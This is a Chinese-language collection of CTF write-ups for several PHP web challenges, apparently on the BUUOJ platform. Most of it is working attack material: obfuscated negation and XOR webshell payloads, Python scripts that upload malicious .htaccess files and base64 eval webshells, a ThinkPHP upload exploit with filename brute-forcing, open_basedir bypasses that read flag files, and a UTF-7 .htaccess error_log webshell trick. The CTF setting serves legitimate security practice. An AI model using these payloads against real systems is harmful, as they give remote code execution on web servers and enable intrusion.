马马马
[极客大挑战 2019]RCE ME
通过取反urlencode
C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');"
%8F%97%8F%96%91%99%90
发现执行命令的函数都被ban了。
先用传个马用蚁剑连上,
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[hack]))';
$d=urlencode(~$c);
echo $d;
?>
payload:
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%97%9E%9C%94%A2%D6%D6);
连上之后可以直接通过蚁剑的disable_functions直接绕过
具体的原理放个链接
[SUCTF 2019]EasyWeb
有长度限制的无数字字母写shell,主要参考链接
这里采用异或绕过
<?php
$l = "";
$r = "";
$argv = str_split("_GET"); ##将_GET分割成一个数组,一位存一个值
for($i=0;$i<count($argv);$i++){
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); ##进行异或
if($k == $argv[$i]){
if($j<16){ ##如果小于16就代表只需一位即可表示,但是url要求是2位所以补个0
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
}
}}
echo "\{$l`$r\}"; ### 这里的反引号只是用来区分左半边和右半边而已
?>
为突破题中的上传的限制,这里采用的是上传.htaccess,
最后对
```python
import requests
import base64
url="http://27599faf-aa11-40af-82aa-79ff4bc28fe5.node3.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag"
htaccess=b"""\x00\x00\x85\x48\x85\x18
AddType application/x-httpd-php .test
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test" ##这里需要替换为自己上传的文件名
"""
shell=b"GIF89a"+b"aa"+base64.b64encode(b"<?php @eval($_GET[cmd])?>") #aa为了满足base64算法凑足八个字节
#first_upload ---- to upload .htaccess
files1={
'file':('.htaccess',htaccess,'image/jpeg')
}
r1=requests.post(url=url,files=files1)
print (r1.text)
#second_upload ---- to upload .shell
#
files2={
'file':('1.test',shell)
}
r1=requests.post(url,files=files2)
print (r1.text)
<pre><code class="line-numbers">最后对open_dir的绕过可参考[这个](https://www.163.com/dy/article/ECQSCP9E0511CJ6O.html "这个")
**payload:**
```php
/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/1.test?cmd=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));
[RoarCTF 2019]Simple Upload
tp的文件上传漏洞,非预期解直接用<>绕过了
payload
url = "url/index.php/home/index/upload/"
s = requests.Session()
files = {"file": ("shell.<>php", "<?php eval($_GET['cmd'])?>")}
r = requests.post(url, files=files)
print(r.text)
但不知道为什么我没成功。
预期解是利用tp多文件上传+方法的错误使用造成的漏洞
upload() 函数不传参时为多文件上传,整个 $_FILES 数组的文件都会上传保存。
使用的是uniqid来生成文件名,同时上传txt文件跟php文件,txt上传后的文件名跟php的文件名非常接近。我们只需要构造Burp包,遍历爆破txt文件名后三位 0-9 a-f 的文件名,就能猜出php的文件名。
最后的payload(来自penson by 小乌师傅)
import requests
url = 'http://598b202c-5c60-4a06-b5a1-83ef646f7a82.node3.buuoj.cn/index.php/home/index/upload'
s = requests.Session()
file1 = {"file":("shell","123",)}
file2 = {"file[]":("shell.php","<?php @eval($_POST[penson]);")} #批量上传用[]
r = s.post(url,files=file1)
print(r.text)
r = s.post(url,files=file2)
print(r.text)
r = s.post(url,files=file1)
print(r.text)
'''爆破'''
dir ='abcdefghijklmnopqrstuvwxyz0123456789'
for i in dir:
for j in dir:
for k in dir:
for x in dir:
for y in dir:
url = 'http://598b202c-5c60-4a06-b5a1-83ef646f7a82.node3.buuoj.cn/Public/Uploads/2020-06-01/5ed4adac{}{}{}{}{}'.format(i,j,k,x,y)
print(url)
r = requests.get(url)
if r.status_code == 200:
print(url)
break
然鹅我还是没成功。。。。。。
[HarekazeCTF2019]Avatar Uploader 1
利用不同函数的处理机制不同的绕过。
在检查文件类型时,finfo_file()函数检测上传图片的类型是否是image/png
在检查文件长宽时,getimagesize() 函数用于获取图像大小及相关信息,成功将返回一个数组,
Array
(
[0] => 290
[1] => 69
[2] => 3
[3] => width="290" height="69"
[bits] => 8
[mime] => image/png
)
finfo_file会检查第一行十六进制的内容进行判断而getimagesize不会,因此可以把png图片的十六进制格式除第一行以外都删掉就可以绕过。
[SUCTF 2018]GetShell
存在black_list,先fuzz一下(脚本来自末初)
# -*- coding:utf-8 -*-
# Author: m0c1nu7
import requests
def ascii_str():
str_list=[]
for i in range(33,127):
str_list.append(chr(i))
#print('可显示字符:%s'%str_list)
return str_list
def upload_post(url):
str_list = ascii_str()
for str in str_list:
header = {
'Host':'3834350a-887f-4ac1-baa4-954ab830c879.node3.buuoj.cn',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding':'gzip, deflate',
'Content-Type':'multipart/form-data; boundary=---------------------------339469688437537919752303518127'
}
post = '''-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
12345'''+str+'''
-----------------------------339469688437537919752303518127
Content-Disposition: form-data; name="submit"
提交
-----------------------------339469688437537919752303518127--'''
res = requests.post(url,data=post.encode('UTF-8'),headers=header)
if 'Stored' in res.text:
print("该字符可以通过: {0}".format(str))
else:
print("过滤字符: {0}".format(str))
if __name__ == '__main__':
url = 'http://3834350a-887f-4ac1-baa4-954ab830c879.node3.buuoj.cn/index.php?act=upload'
upload_post(url)
能冲的字符有
$、(、)、.、;、=、[、]、_、~
看来是要用汉字写马了,
先把汉字用ascii编码显示,取其中的一个字符进行取反,得到我们想要的字母,
echo ~茉[$____];//s
echo ~内[$____];//y
echo ~茉[$____];//s
echo ~苏[$____];//t
echo ~的[$____];//e
echo ~咩[$____];//m
echo ~课[$____];//P
echo ~尬[$____];//O
echo ~笔[$____];//S
echo ~端[$____];//T
echo ~瞎[$____];//a
payoad:
<?=$_=[];$__.=$_;$____=$_==$_;$___=~茉[$____];$___.=~内[$____];$___.=~茉[$____];$___.=~苏[$____];$___.=~的[$____];$___.=~咩[$____];$_____=_;$_____.=~课[$____];$_____.=~尬[$____];$_____.=~笔[$____];$_____.=~端[$____];$__________=$$_____;$___($__________[~瞎[$____]]);
[ISITDTU 2019]EasyPHP
这题是真他娘的恶心!!!参考
取反或异或写马,先看看phpinfo,发现disable_function过滤了一片,open_basedir还开了限制,只能尝试用scandir和print_r的组合了。
预计payload:
print_r(scandir('.'));==((%8f%8d%96%91%8b%a0%8d)^(%ff%ff%ff%ff%ff%ff%ff))(((%8c%9c%9e%91%9b%96%8d)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));
但是对字符种类的限制绕不过去,还要写别的脚本来删
result2 = [0x8b, 0x9b, 0xa0, 0x9c, 0x8f, 0x91, 0x9e, 0xd1, 0x96, 0x8d, 0x8c] # Original chars,11 total
result = [0x9b, 0xa0, 0x9c, 0x8f, 0x9e, 0xd1, 0x96, 0x8c] # to be deleted
temp = []
for d in result2:
for a in result:
for b in result:
for c in result:
if (a ^ b ^ c == d):
if a == b == c == d:
continue
else:
print("a=0x%x,b=0x%x,c=0x%x,d=0x%x" % (a, b, c, d))
if d not in temp:
temp.append(d)
print(len(temp), temp)
删除后能发现一个可能有flag的文件,读取即可
payload:
show_source(end(scandir(.)));=((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));
[XNUCA2019Qualifier]EasyPHP
由于文件内容存在过滤,我们不能直接把auto_prepend_file写进.htaccess,
但是我们可以通过.htaccess把error_log中的信息写进fl3g.php,那么把马写进error_log,又因为fl3g.php被包含,就成功把马写进了初始页面。
这里的报错可以通过设置include_path到一个不存在的文件夹即可触发包含时的报错,且include_path的值也会被输出到屏幕上。
最后的脏字符可以用#注释
payload:
php_value include_path "/tmp/xx/+ADw?php die(eval($_GET[2]))+ADs +AF8AXw-halt+AF8-compiler()+ADs"
php_value error_reporting 32767
php_value error_log /tmp/fl3g.php
#
这里还有个问题,就是error_log中的数据是经过htmlentities处理的,无法直接用<\?,
这样的话我们可以用UTF-7编码来绕过
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value include_path "/tmp"
#